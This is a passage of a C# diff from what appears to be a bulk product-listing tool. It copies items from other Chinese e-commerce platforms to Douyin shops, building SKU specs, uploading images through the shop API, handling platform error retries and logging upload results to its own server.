spec_prices(); + spec_prices.code = ""; + spec_prices.price = (long)sku.new_price; + spec_prices.stock_num = sku.number; + if (UploadProductBLL.isCustomStock) + spec_prices.stock_num = UploadProductBLL.skuCustomStock; + spec_prices.outer_sku_id = ""; + spec_prices.picurl = sku.prop_image; + string[] specs = sku.nameLite.Replace("(", "(").Replace("|", " ").Replace("丨", " ").Replace("\t", "").Replace(")", ")") + .Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + if (specs.Length > 0) + spec_prices.spec_detail_name1 = specs[0]; + if (specs.Length > 1) + spec_prices.spec_detail_name2 = specs[1]; + if (specs.Length > 2) + spec_prices.spec_detail_name3 = specs[2]; + if (string.IsNullOrEmpty(specimg) && specs.Length > 1) + { + if (!string.IsNullOrEmpty(specs[1])) + { + spec_prices.spec_detail_name1 = specs[1]; + spec_prices.spec_detail_name2 = specs[0]; + sku.name = p.Props[1].name + ":" + specs[1] + ";" + p.Props[0].name + ":" + specs[0]; + } + } + if (!speclist.Any(sp => sp.spec_detail_name1 + sp.spec_detail_name2 + sp.spec_detail_name3 == + spec_prices.spec_detail_name1 + spec_prices.spec_detail_name2 + spec_prices.spec_detail_name3)) + speclist.Add(spec_prices); + } + foreach (var spec in speclist) + { + if (spec.stock_num < 0) + spec.stock_num = 0; + } + // 处理抖音总库存1000000限制 + var totalStock = speclist.Sum(s => s.stock_num); + while (totalStock > 1000000) + { + foreach (var spec in speclist) + { + if (spec.stock_num > 1) + spec.stock_num = spec.stock_num - 1; + } + totalStock = speclist.Sum(s => s.stock_num); + } + //规格图片 获取规格图片 + if (p.Props.Count == 0) + { + } + noticeHandler(p.from_id + ":正在上传规格图片"); + Thread.Sleep(Randomx.GetId(500, 1500) + UploadProductBLL.ids.Count * 100); + string picStr = ""; + int pCount = 0; + string imageSpec = ""; + List specStrList = new List(); + List requestList = new List(); + for (int i = 0; i < p.Props.Count; i++) + { + var props = p.Props[i]; + + // 跳过无图片属性分组 + if (!props.Values.Any(v => !string.IsNullOrEmpty(v.image))) + continue; + // 已获取到一组属性有图片,跳过其他分组 + if (i > 0 && !string.IsNullOrEmpty(imageSpec)) + break; + + for (int j = 0; j < props.Values.Count; j++) + { + var pic = props.Values[j].image; + long requestid = Randomx.GetId(2000000000); + string tid = Md5Base.GetMd5(p.name).Substring(8, 16) + Randomx.GetId(2000); + if (string.IsNullOrEmpty(pic)) + pic = p.image; + if (string.IsNullOrEmpty(pic)) + continue; + + if (!(pic.Contains("https:") || pic.Contains("http:"))) + { + pic = "https:" + pic; + } + if (!string.IsNullOrEmpty(imageSpec)) + { + imageSpec += ","; + } + imageSpec += "{\\\"request_id\\\":" + requestid + ",\\\"folder_id\\\":\\\"" + folderId + + "\\\",\\\"material_type\\\":\\\"photo\\\",\\\"name\\\":\\\"" + tid + + "\\\",\\\"url\\\":\\\"" + pic + "\\\"}"; + specStrList.Add(pic); + requestList.Add(requestid); + } + } + int imageSpecMapsRetryTimes = 0; + imageSpecMapsRetry: + string imageSpecMaps = ""; + if (!string.IsNullOrEmpty(imageSpec)) + imageSpecMaps = BatchUploadImageSync(Shop, "[" + imageSpec + "]"); + if (imageSpecMaps != null && imageSpecMaps.Contains("素材库容量不足")) + { + if (imageSpecMapsRetryTimes < 5) + { + var folderResult = new UploadMaterialBLL().DelOldestApiMaterialFolder(Shop); + if (folderResult) + { + imageSpecMapsRetryTimes++; + goto imageSpecMapsRetry; + } + } + t.Message = "素材库容量不足"; + t.ShopName = Shop.ShopAccount; + return t; + } + var imageSpecMapsObj = JsonHelper.JObjectParse(imageSpecMaps)?["data"]; + if (!string.IsNullOrEmpty(imageSpec) && imageSpecMapsObj?["success_map"] == null) + { + t.Message = "SKU图Json格式错误"; + t.ShopName = Shop.ShopAccount; + return t; + } + // 处理上传失败图片 + var failedSpecMapsStr = imageSpecMapsObj?["failed_map"]?.ToString(); + if (!string.IsNullOrEmpty(failedSpecMapsStr) && failedSpecMapsStr != "{}" && imageSpecMapsRetryTimes < 5) + { + Thread.Sleep(1000); + imageSpecMapsRetryTimes++; + goto imageSpecMapsRetry; + } + + var specStrx = BaseRegex.GetMatchMaxRegexString(ref imageSpecMaps, @"""success_map"":({[\w\W]+?})}"); + var specmaps = BaseRegex.GetMatchRegex(ref specStrx, @"""([\w\W]+?)"":\{""AuditStatus""[\w\W]+?\}"); + + Dictionary specDic = new Dictionary(); + for (int i = 0; specmaps != null && i < specmaps.Count; i++) + { + string imageItem = specmaps[i].Groups[0].Value; + string rId = specmaps[i].Groups[1].Value; + string urlImage = BaseRegex.GetStringJson(ref imageItem, "ByteUrl"); + string oriImage = BaseRegex.GetStringJson(ref imageItem, "OriginUrl"); + int index = requestList.FindIndex(s => s == long.Parse(rId)); + if (!specDic.ContainsKey(index)) + specDic.Add(index, urlImage); + } + var speclst = specDic.OrderBy(o => o.Key).ToList(); + for (int i = 0; i < speclst.Count; i++) + { + string urlImage = speclst[i].Value; + picCount++; + pCount++; + picStr += urlImage + ","; + } + if (!string.IsNullOrEmpty(picStr)) + dictionary["spec_pic"] = picStr.Trim(','); + + //if (pCount> 44) // 50张图-5主图-1张详情图 + //{ + // dictionary.Remove("spec_pic"); + // picCount = picCount - pCount; + //} + List propList = new List(); + int sum = 1; + + if (string.IsNullOrEmpty(specimg)) + { + for (int i = p.Props.Count - 1; i > -1; i--) + { + for (int j = 0; j < p.Props[i].Values.Count; j++) + { + propList.Add(p.Props[i].name + ":" + p.Props[i].Values[j].name.Replace("(", "(").Replace(")", ")")); + } + sum = sum * p.Props[i].Values.Count; + } + } + else + { + for (int i = 0; i < p.Props.Count; i++) + { + for (int j = 0; j < p.Props[i].Values.Count; j++) + { + propList.Add(p.Props[i].name + ":" + p.Props[i].Values[j].name.Replace("(", "(").Replace(")", ")")); + } + sum = sum * p.Props[i].Values.Count; + } + } + + if (speclist.Count < sum) + { + int maxCount = p.Props.Count; + List arr = new List(); + + string standardPropName1 = p.Props[0].name; + if (string.IsNullOrEmpty(specimg)) + standardPropName1 = p.Props[1].name; + string standardPropName2 = ""; + string standardPropName3 = ""; + List specSkuList = new List(); + for (int i = 0; i < propList.Count; i++) + { + arr.Clear(); + var propItem1 = propList[i].Replace("(", "(").Replace(")", ")").Replace(" ", ""); + string propName1 = propItem1.Split(':')[0]; + if (propName1 != standardPropName1) + continue; + if (p.Props.Count == 1) + { + specSkuList.Add(propItem1); + } + + for (int j = 0; p.Props.Count > 1 && j < propList.Count; j++) + { + var propItem2 = propList[j].Replace("(", "(").Replace(")", ")").Replace(" ", ""); + string propName2 = propItem2.Split(':')[0]; + if (propName2 == standardPropName1) + continue; + if (standardPropName2 == "") + standardPropName2 = propName2; + if (propName2 != standardPropName2) + continue; + if (p.Props.Count == 2) + { + specSkuList.Add(propItem1 + ";" + propItem2); + } + + for (int k = 0; p.Props.Count > 2 && k < propList.Count; k++) + { + var propItem3 = propList[k].Replace("(", "(").Replace(")", ")").Replace(" ", ""); + string propName3 = propItem3.Split(':')[0]; + if (propName3 == standardPropName1 || propName3 == standardPropName2) + continue; + if (standardPropName3 == "") + standardPropName3 = propName3; + if (propName3 != standardPropName3) + continue; + specSkuList.Add(propItem1 + ";" + propItem2 + ";" + propItem3); + } + } + } + + foreach (var specname in specSkuList) + { + bool hasValue = p.SkuMaps.Exists(r => r.name.Replace("(", "(").Replace(")", ")").Replace(" ", "").Trim(';') == specname); + if (hasValue) + continue; + spec_prices spec_prices = new spec_prices(); + spec_prices.code = ""; + spec_prices.price = (long)maxPriceNew; + spec_prices.stock_num = 0; + spec_prices.outer_sku_id = ""; + spec_prices.picurl = ""; + string[] specs = specname.Split(';'); + spec_prices.spec_detail_name1 = specs[0].Split(':')[1]; + if (specs.Length > 1) + spec_prices.spec_detail_name2 = specs[1].Split(':')[1]; + if (specs.Length > 2) + spec_prices.spec_detail_name3 = specs[2].Split(':')[1]; + speclist.Add(spec_prices); + } + } + if (productDelayType == "3" || productDelayType == "4") + { + List specListTemp = new List(); + foreach (var spec in speclist) + { + // 现货发货规格 + if (productDelayType == "3") + { + var specx = new spec_prices() + { + code = spec.code, + outer_sku_id = spec.outer_sku_id == "" ? "" : spec.outer_sku_id + "1", + picurl = spec.picurl, + price = spec.price, + spec_detail_name1 = spec.spec_detail_name1, + spec_detail_name2 = spec.spec_detail_name2, + spec_detail_name3 = spec.spec_detail_name3, + step_stock_num = spec.step_stock_num, + stock_num = spec.stock_num, + }; + + if (string.IsNullOrEmpty(specx.spec_detail_name2)) + specx.spec_detail_name2 = newPreSendDayString; + else + specx.spec_detail_name3 = newPreSendDayString; + + if (!specListTemp.Any(s => s.spec_detail_name1 == specx.spec_detail_name1 && s.spec_detail_name2 == specx.spec_detail_name2 && s.spec_detail_name3 == specx.spec_detail_name3)) + { + specListTemp.Add(specx); + } + } + + // 新预售发货规格 + if (string.IsNullOrEmpty(spec.spec_detail_name2)) + spec.spec_detail_name2 = newPreTime; + else + spec.spec_detail_name3 = newPreTime; + + if (!specListTemp.Any(s => s.spec_detail_name1 == spec.spec_detail_name1 && s.spec_detail_name2 == spec.spec_detail_name2 && s.spec_detail_name3 == spec.spec_detail_name3)) + { + specListTemp.Add(spec); + } + } + + speclist = specListTemp; + } + + string specStr = ""; + StringBuilder stringBuilder = null; + List> dicList = new List>(); + for (int i = 0; i < speclist.Count; i++) + { + var specItem = speclist[i]; + IDictionary dictionary2 = new Dictionary(); + dictionary2.Add("spec_detail_name1", specItem.spec_detail_name1); + dictionary2.Add("spec_detail_name2", specItem.spec_detail_name2 == null ? "" : specItem.spec_detail_name2); + dictionary2.Add("spec_detail_name3", specItem.spec_detail_name3 == null ? "" : specItem.spec_detail_name3); + dictionary2.Add("stock_num", specItem.stock_num.ToString()); + dictionary2.Add("price", specItem.price.ToString()); + dictionary2.Add("code", specItem.code); + dictionary2.Add("step_stock_num", "0"); + //dictionary2.Add("step_stock_num", (specItem.stock_num-1).ToString()); + dicList.Add(dictionary2); + stringBuilder = new StringBuilder(); + foreach (string current in dictionary2.Keys) + { + if (current.ToString().Trim() == "stock_num" || current.ToString().Trim() == "price" || current.ToString().Trim() == "step_stock_num") + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\\\"{0}\\\":{1}" : "\\\"{0}\\\":{1}", current, dictionary2[current].ToString().Replace(" ", "")); + } + else + { + stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\\\"{0}\\\":\\\"{1}\\\"" : "\\\"{0}\\\":\\\"{1}\\\"", current, dictionary2[current].ToString().Replace(" ", "")); + } + } + string str = "{" + stringBuilder.ToString() + "}"; + if (specStr.Trim() != "") + { + specStr += ","; + } + specStr += str; + } + specStr = "[" + specStr + "]"; + var specStr1 = JsonHelper.SerializeObject(dicList); + //sku详情 + dictionary.Add("spec_prices", specStr); + + // 详情图 内容图 + if (string.IsNullOrEmpty(p.content)) + { + } + noticeHandler(p.from_id + ":正在上传内容图片"); + Thread.Sleep(Randomx.GetId(500, 1500) + UploadProductBLL.ids.Count * 100); + List contentTempList = p.content.Split(new string[] { "
    " }, StringSplitOptions.RemoveEmptyEntries)?.ToList(); + var contentTemp = ""; + if (contentTempList.Count > 0) + contentTemp = contentTempList[Randomx.GetId(contentTempList.Count)]; + + string contentImage = ""; + var m = BaseRegex.GetMatchRegex(ref contentTemp, @"]*?src=[""'](.*?)[""']"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref contentTemp, @"]*?>(.*?)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref contentTemp, @"]+?>(.*?)"); + + string imageDesPic = ""; + List desc_request_id_List = new List(); + for (int j = 0; j < m.Count; j++) + { + // 删除第一张详情图 内容图 + if (j == 0 && IsDelFirstContentPic) + { + if (m.Count == 1) + { + t.Message = "至少需要1张内容图"; + noticeHandler("至少需要1张内容图:" + t.FromId + ":" + t.Message); + return t; + } + continue; + } + + string urlImg = m[j].Groups[1].Value.Replace(".src", ""); + if (picCount >= 50) + break; + if (string.IsNullOrEmpty(urlImg)) + { + urlImg = m[j].Groups[1].Value.Replace(".src", ""); + } + if (!string.IsNullOrEmpty(imageDesPic)) + { + imageDesPic += ","; + } + string tid = Md5Base.GetMd5(p.name).Substring(8, 16) + Randomx.GetId(2000); + long request_id = Randomx.GetId(2000000000); + desc_request_id_List.Add(request_id); + imageDesPic += "{\\\"request_id\\\":" + request_id + ",\\\"folder_id\\\":\\\"" + folderId + + "\\\",\\\"material_type\\\":\\\"photo\\\",\\\"name\\\":\\\"" + tid + + "\\\",\\\"url\\\":\\\"" + urlImg + "\\\"}"; + } + int imageDesMapsRetryTimes = 0; + imageDesMapsRetry: + string imageDesMaps = BatchUploadImageSync(Shop, "[" + imageDesPic + "]"); + if (imageDesMaps != null && imageDesMaps.Contains("素材库容量不足") && imageDesMapsRetryTimes < 5) + { + var folderResult = new UploadMaterialBLL().DelOldestApiMaterialFolder(Shop); + if (folderResult) + { + imageDesMapsRetryTimes++; + goto imageDesMapsRetry; + } + t.Message = "素材库容量不足"; + t.ShopName = Shop.ShopAccount; + return t; + } + var imageDesMapsObj = JsonHelper.JObjectParse(imageDesMaps)?["data"]; + if (imageDesMapsObj == null || imageDesMapsObj["success_map"] == null) + { + t.Message = "内容图Json格式错误"; + t.ShopName = Shop.ShopAccount; + return t; + } + // todo 处理上传失败图片 + var failedDesMapStr = imageDesMapsObj["failed_map"]?.ToString(); + if (!string.IsNullOrEmpty(failedDesMapStr) && failedDesMapStr != "{}" && imageDesMapsRetryTimes < 5) + { + Thread.Sleep(1000); + imageDesMapsRetryTimes++; + goto imageDesMapsRetry; + } + + for (int i = 0; i < desc_request_id_List.Count(); i++) + { + string urlImage = imageDesMapsObj["success_map"]?[desc_request_id_List[i].ToString()]?["ByteUrl"]?.ToString(); + if (string.IsNullOrEmpty(urlImage)) + continue; + if (picCount >= 50) + break; + picCount++; + if (contentImage.Trim() != "") + { + contentImage += "|"; + } + contentImage += urlImage; + } + //商品描述,目前只支持图片。多张图片用 "|" 分开 + dictionary.Add("description", contentImage); + + if (beforPrice == 0) + beforPrice = 2; + //划线价 市场价 + dictionary.Add("market_price", (maxPriceNew * beforPrice).ToString()); + //售价,单位分 + dictionary.Add("discount_price", (minPriceNew).ToString()); + //减库存类型:1-拍下减库存 2-付款减库存 + dictionary.Add("reduce_type", "2"); + //重量 + dictionary.Add("weight", "1"); + //重量单位,0-kg, 1-g + dictionary.Add("weight_unit", "1"); + dictionary.Add("maximum_per_order", "5"); + dictionary.Add("limit_per_buyer", "99"); + dictionary.Add("minimum_per_order", "1"); + //dictionary.Add("remark", "您好kkkkkkkkkkkkk"); + dictionary["presell_type"] = productDelayType; + if (productDelayType == "1") + { + dictionary["presell_delay"] = UploadProductBLL.endDay; + dictionary["presell_end_time"] = UploadProductBLL.preEndTime; + dictionary["delivery_delay_day"] = UploadProductBLL.sendDay; + } + else + { + dictionary["delivery_delay_day"] = UploadProductBLL.sendDay; + //dictionary.Add("presell_delay", UploadProductBLL.endDay); + //商品时效SKU GTM对接方案20220222 presell_config_level 2 现货+预售 3 新预售 + if (productDelayType == "3") + { + dictionary["presell_config_level"] = "2"; + dictionary["presell_type"] = "1"; + } + else if (productDelayType == "4") + { + dictionary["presell_config_level"] = "3"; + dictionary["presell_type"] = "1"; + } + } + // 商家推荐语 + //dictionary.Add("recommend_remark", "78888"); + dictionary.Add("recommend_remark", recommend_remark); + // 是否支持7天无理由,0不支持,1支持,2支持(拆封后不支持) + dictionary.Add("supply_7day_return", supply_7day_return); + // 客服电话号码 + if (!string.IsNullOrEmpty(UploadProductBLL.phone)) + dictionary.Add("mobile", UploadProductBLL.phone); + // 品牌资质 + //dictionary.Add("brand_id", "0"); + //dictionary.Add("brand_id", "596120136"); + // 相关资质文件 在净化数据中获取并填写系统资质列表 + //"quality_list": "[{\"quality_key\":\"1\",\"quality_name\":\"进货凭证1\",\"quality_attachments\":[{\"media_type\":1,\"url\":\"http://img.alicdn.com/imgextra/i1/729*****3055/TB2FG*****uNjy0FdXXbDnVXa_!!729*****3055.jpg\"},{\"media_type\":1,\"url\":\"http://img.alicdn.com/imgextra/i1/72*****63055/TB2FG*****dXXbDnVXa_!!72*****3055.jpg\"}]},{\"quality_key\":\"2\",\"quality_name\":\"进货凭证2\",\"quality_attachments\":[{\"media_type\":1,\"url\":\"http://img.alicdn.com/imgextra/i1/72*****863055/TB2FG49iuO*****0FdXXbDnVXa_!!7298*****3055.jpg\"}]}]", + if (p != null && p.qualifications != null && p.qualifications.Count > 0) + { + List quality_list = new List(); + foreach (var q in p.qualifications) + { + var quality_attachments = new List(); + foreach (var qa in q.quality_attachments) + { + var newQA = new quality_attachment() { media_type = qa.media_type, url = qa.url.Replace("https:", "http:") }; + if (!string.IsNullOrEmpty(newQA.url) && qa.media_type == 1) + { + // 资质图片上传 暂时不需要使用,抖音会自己抓取外网图片 + //string tid = Md5Base.GetMd5(p.name).Substring(8, 16) + Randomx.GetId(2000); + //string byte_url = UploadImageSync(Shop, folderId, newQA.url, tid); + //if (!byte_url.Contains("\"code\":10000")) + //{ + // byte_url = UploadImageSync(Shop, folderId, newQA.url, tid); + //} + //if (byte_url.Contains("\"code\":10000")) + //{ + // newQA.url = BaseRegex.GetStringJson(ref byte_url, "byte_url"); + //} + } + quality_attachments.Add(newQA); + } + quality_list.Add(new quality { quality_attachments = quality_attachments, quality_key = q.quality_key, quality_name = q.quality_name }); + } + dictionary["quality_list"] = JsonHelper.SerializeObject(quality_list).Replace("\"", "\\\""); + } + + // false仅保存,true保存+提审 + if (UploadProductBLL.isDraft) + dictionary.Add("commit", "false"); + else + dictionary.Add("commit", "true"); + + if (UploadProductBLL.isSaveToOffLine) + dictionary["start_sale_type"] = "1"; + + // 重试及异常 + //\"message\":\"商品创建失败: 发货模式暂不支持阶梯发货\",\"msg\":\"其他异常\" + bool isRetry_图片转链失败 = false; + bool isRetry_请上传生产企业名称 = false; + bool isRetry_包装标签图 = false; + bool isRetry_图片长宽比 = false; + bool isRetry_创建审核任务失败 = false; + bool isRetry_7天无理由 = false; + bool isRetry_系统繁忙 = false; + bool isRetry_Empty = false; + retry: + Thread.Sleep(1000); + DouyinApi api = new DouyinApi(Shop); + if (Shop.ShopAccount == "权益服务齐全的专营店") + { + dictionary.Remove("brand_id"); // = "2122428529"; + dictionary["standard_brand_id"] = "2122428529"; + } + //api.JsonData["product_format_new"] = "{\\\"1687\\\":[{\\\"value\\\":596120136,\\\"name\\\":\\\"无品牌\\\"}],\\\"2592\\\":[{\\\"value\\\":2022,\\\"name\\\":\\\"韩版\\\"}],\\\"539\\\":[{\\\"value\\\":11942,\\\"name\\\":\\\"圆头\\\"}],\\\"883\\\":[{\\\"value\\\":18537,\\\"name\\\":\\\"猪皮(革)\\\"}],\\\"1239\\\":[{\\\"value\\\":38467,\\\"name\\\":\\\"低跟\\\"}],\\\"3029\\\":[{\\\"value\\\":13142,\\\"name\\\":\\\"EVA\\\"}],\\\"2313\\\":[{\\\"value\\\":0,\\\"name\\\":\\\"1\\\"}],\\\"1869\\\":[{\\\"value\\\":10089,\\\"name\\\":\\\"纯色\\\"}],\\\"1766\\\":[{\\\"value\\\":19637,\\\"name\\\":\\\"交叉绑带\\\"}],\\\"1244\\\":[{\\\"value\\\":29717,\\\"name\\\":\\\"松糕底\\\"}],\\\"1865\\\":[{\\\"value\\\":32022,\\\"name\\\":\\\"短筒\\\"}],\\\"2182\\\":[{\\\"value\\\":7340,\\\"name\\\":\\\"前系带\\\"}]}"; + + string html = ""; + + if (isEdit) + { + dictionary["product_id"] = "3548157790335946701"; + noticeHandler(p.from_id + ":正在编辑商品"); + api.JsonData = dictionary; + html = api.GetProductEdit(); + } + else + { + noticeHandler(p.from_id + ":正在上传商品"); + api.JsonData = dictionary; + var jsonStr = JsonHelper.SerializeObject(api.JsonData); + html = api.GetAdd(); + } + if (html.Contains("图片转链失败") && !isRetry_图片转链失败) + { + isRetry_图片转链失败 = true; + goto retry; + } + if (html.Contains("请上传生产企业名称") && !isRetry_请上传生产企业名称) + { + Thread.Sleep(1000); + isRetry_请上传生产企业名称 = true; + //var productFormat = ""; + //if (dictionary.Keys.Contains("product_format")) + // productFormat = dictionary["product_format"]; + //productFormat += "^生产企业名称|" + (string.IsNullOrEmpty(p.from_shop_name) ? "工厂店" : p.from_shop_name); + //dictionary["product_format"] = productFormat.Trim('^'); + + var cateProp = propResult.data.data.Find(pr => pr.property_name == "生产企业名称"); + if (cateProp != null) + { + cateProp.required = true; + property = new UploadPropertyBLL().GetCatePropertyAnalysis(propResult, Shop, p); + if (!string.IsNullOrEmpty(property)) + { + dictionary["product_format_new"] = property; + } + } + goto retry; + } + if (html.Contains("包装标签图") && !isRetry_包装标签图) + { + isRetry_包装标签图 = true; + api.JsonData.Add("quality_list", "[{\\\"quality_key\\\":\\\"6966228537426575660\\\",\\\"quality_name\\\":\\\"包装标签图\\\",\\\"quality_attachments\\\":[{\\\"media_type\\\":1,\\\"url\\\":\\\"" + baseImageUrl + "\\\"}]}]"); + goto retry; + } + if ((html.Contains("商品创建失败: 运费模板权限错误") || html.Contains("运费模板不存在")) && Shop.ExpressId != 0) + { + Shop.ExpressId = 0; + dictionary["freight_id"] = "0"; + goto retry; + } + if (html.Contains("图片长宽比非1:1") && !isRetry_图片长宽比) + { + isRetry_图片长宽比 = true; + dictionary.Remove("pic"); + mainImages = ""; + var images1 = p.Images.Distinct().ToList(); + for (int i = 0; i < images1.Count; i++) + { + string urlImage = images1[i]; + if (!urlImage.Contains("http")) + { + urlImage = "https:" + images1[i]; + } + if (i > 4) + { + break; + } + byte[] img; + GetPostTaobaoHtml.DownLoadImage(urlImage, out img); + ImageCut.HandleImage(ref img, false); + ImageBuild ib = new ImageBuild(img); + img = ib.BuildNewSize(640, 640, 100); + string fileName = urlImage.Substring(urlImage.LastIndexOf("/") + 1); + string url = "https://fxg.jinritemai.com/common/img/batchupload"; + string refere = "https://fxg.jinritemai.com/ffa/g/create"; + string upImage = GetPostTaobaoHtml.HttpPostData(url, fileName, img, refere, Shop.Cookies); + urlImage = BaseRegex.GetMatchRegexString(upImage, "\"data\":\\[\"([\\w\\W]+?)\"\\],"); + if (mainImages.Trim() != "") + { + mainImages += "|"; + } + mainImages += urlImage; + } + if (isRandomMainImage) + mainImages = GetRandomMainImage(mainImages); + //商品轮播图 + dictionary.Add("pic", mainImages); + goto retry; + } + if (html.Contains("创建审核任务失败") && !isRetry_创建审核任务失败) + { + isRetry_创建审核任务失败 = true; + Thread.Sleep(3000); + goto retry; + } + if (html.Contains("天无理由")) + { + isRetry_7天无理由 = true; + // 是否支持7天无理由,0不支持,1支持,2支持(拆封后不支持) + dictionary["supply_7day_return"] = "1"; + Thread.Sleep(3000); + goto retry; + } + if (html.Contains("系统繁忙") && !isRetry_系统繁忙) + { + isRetry_系统繁忙 = true; + Thread.Sleep(15000); + goto retry; + } + if (string.IsNullOrEmpty(html) && !isRetry_Empty) + { + isRetry_Empty = true; + Thread.Sleep(5000); + goto retry; + } + long product_id = BaseRegex.GetLongJson(ref html, "product_id"); + string message = BaseRegex.GetStringJson(ref html, "msg"); + string sub_msg = BaseRegex.GetStringJson(ref html, "sub_msg"); + + if (product_id > 0) // 保存上家、产品ID到数据表中 + { + noticeHandler(p.from_id + ":正在编辑其他信息"); + string prev = GetPrev(t.FromType); + SetUpProduct(product_id, prev + t.FromId.ToString(), true); + t.GoodsId = product_id; + t.Titlte = p.name; + t.Price = minPriceNew; + t.ShopName = Shop.ShopAccount; + t.Message = "提交成功"; + noticeHandler(t.GoodsId + ":" + t.Message + " 来源Id:" + p.from_id); + + Shop.UploadCount++; + if (Shop.PayStatus != 1) + { + Shop.TrialUploadCount++; + NaiBa.Util.ConcurrentList shopLoginListCopy = + JsonHelper.DeserializeJsonToObject>(JsonHelper.SerializeObject(GlobalConfig.DouShopLoginList)); + shopLoginListCopy.AddRange(GlobalConfig.DouShopLoginOtherAccountList); + // 替换掉密码,cookie等敏感参数 + foreach (var shop in shopLoginListCopy) + { + shop.Password = ""; + shop.Cookies = ""; + } + NaiBa.Util.Helper.ConfigHelper.SaveConfig("dou_shop_login", shopLoginListCopy); + } + return t; + } + else + { + if (t.Message != null && (message.Contains("因为店铺受到处罚,限制发品") || message.Contains("当前店铺已停业整顿,恢复营业后可支持创建商品"))) + Shop.CanUpload = false; + + t.ShopName = Shop.ShopAccount; + noticeHandler(p.from_id + ":提交失败,请查看提交状态"); + + // 将提交失败信息添加到服务器 + string url = BaseClass.LoginApiUrl + "?obj=douyin/upload&act=add_upload_log"; + string data = "&product_id=" + t.FromId + "&source_id=" + GetPrev(t.FromType).Trim('-') + + "&cat_id=" + catId + "&message=" + HttpUtility.UrlEncode((message + "^" + sub_msg).Trim('^'), Encoding.UTF8); + string param = UserLogin.GetSignaturex(Shop.ShopAccountId, Shop.ShopAccount) + data; + string result = GetHtml.PostUtf8(url, param); + } + + if (!string.IsNullOrEmpty(sub_msg)) + t.Message = sub_msg; + else if (!string.IsNullOrEmpty(message)) + t.Message = message; + else + t.Message = "提交失败"; + return t; + //UploadProductBLL.ProductTemp.Add(t); + } + + public string GetPrev(string fromType) + { + string prev = ""; + if (fromType == "拼多多") + { + prev = "pdd-"; + } + if (fromType == "淘宝") + { + prev = "tb-"; + } + if (fromType == "阿里") + { + prev = "al-"; + } + if (fromType == "抖音") + { + prev = "dy-"; + } + if (fromType == "京喜") + { + prev = "jx-"; + } + return prev; + } + + public List GetTenImages(List imageList) + { + while (imageList.Count > 10) + { + imageList.RemoveAt(Randomx.GetId(imageList.Count)); + } + return imageList; + } + + public string GetRandomMainImage(string imageStrOld) + { + string imageNew = ""; + if (imageStrOld == null) + imageStrOld = ""; + + List imageList = imageStrOld.Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + if (imageList != null && imageList.Count > 1) + { + int num = Randomx.GetId(imageList.Count); + var imageStr = imageList[num]; + imageList.RemoveAt(num); + imageList.Insert(0, imageStr); + imageNew = string.Join("|", imageList); + } + return imageNew; + } + + public bool GetUpProduct(long product_id) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string datax = "&pid=" + product_id + "&table=" + (product_id % 1024); + string htmlx = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex(Shop.ShopAccountId, Shop.ShopAccount) + datax); + if (!string.IsNullOrEmpty(htmlx)) + return true; + else + return false; + } + public bool SetUpProduct(long pid, string upProductId, bool add = false) + { + string upIdNumber = BaseRegex.GetMatchRegex(ref upProductId, "\\d{5,20}")?[0]?.Groups[0]?.Value; + long up_table = 0; + if (!string.IsNullOrEmpty(upIdNumber)) + { + up_table = upIdNumber.ParseToLong(); + } + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=insert"; + string data = "&pid=" + pid + "&up_id=" + upProductId + "&table=" + (pid % 1024) + "&up_table=" + (up_table % 1024); + string param = UserLogin.GetSignaturex(Shop.ShopAccountId, Shop.ShopAccount) + data; + string html = GetHtml.PostUtf8(url, param); + if (html != "ok") + { + Thread.Sleep(15 * 1000); + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopAccountId, Shop.ShopAccount) + data); + } + if (html != "ok") + { + Thread.Sleep(15 * 1000); + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopAccountId, Shop.ShopAccount) + data); + } + if (html != "ok") + { + Thread.Sleep(15 * 1000); + LogSave.Add(Name, "服务器记录" + pid + "上家ID异常,请联系客服"); + } + return html == "ok"; + } + public static long GetLong(string url) + { + if (string.IsNullOrEmpty(url)) + return 0; + return Convert.ToInt64(BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(url)), 4, 8).Replace("-", ""), 16); + } + + public int WhitePriceBuild(decimal price, decimal addPrice, decimal postage, decimal postFree) + { + bool randPrice = false; + decimal addPricex = addPrice; + decimal free = postage + postFree; //UploadPinduoduoMain.Postage + postFree; + + int p = (int)(price * (100 + addPricex) + free * 100); + if (randPrice) + p -= Randomx.GetId(0, 10); + return p; + } + + + + public static string getProductUpdateRule(string catId, DouShopLoginInfo Shop) + { + DouyinApi api = new DouyinApi(Shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("category_id", catId.ToString()); + string updateRule = api.GetResultUpdateRule(); + return updateRule; + } + + public static string CreateImageFolder(DouShopLoginInfo shop) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd")); + api.JsonData.Add("type", "0"); + string html = api.GetCreateFolder(); + return html; + } + public static string SearchFolder(DouShopLoginInfo shop) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd")); + api.JsonData.Add("order_by", "1"); + api.JsonData.Add("page_num", "1"); + api.JsonData.Add("page_size", "10"); + string html = api.GetSearchFolder(); + return html; + } + + + public static string UploadImageSync(DouShopLoginInfo shop, string folder_id, string url, string title) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("folder_id", folder_id); + api.JsonData.Add("url", url); + api.JsonData.Add("material_name", title); + api.JsonData.Add("need_distinct", "true"); + string html = api.GetUploadImageSync(); + return html; + } + public static string BatchUploadImageSync(DouShopLoginInfo shop, string materials) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("materials", materials); + api.JsonData.Add("need_distinct", "true"); + string html = api.GetBatchUploadImageSync(); + return html; + } + + /// + /// 获取品牌Id + /// + public static List GetBrandList(DouShopLoginInfo shop) + { + DouyinApi apiBrand = new DouyinApi(shop); + string brandHtml 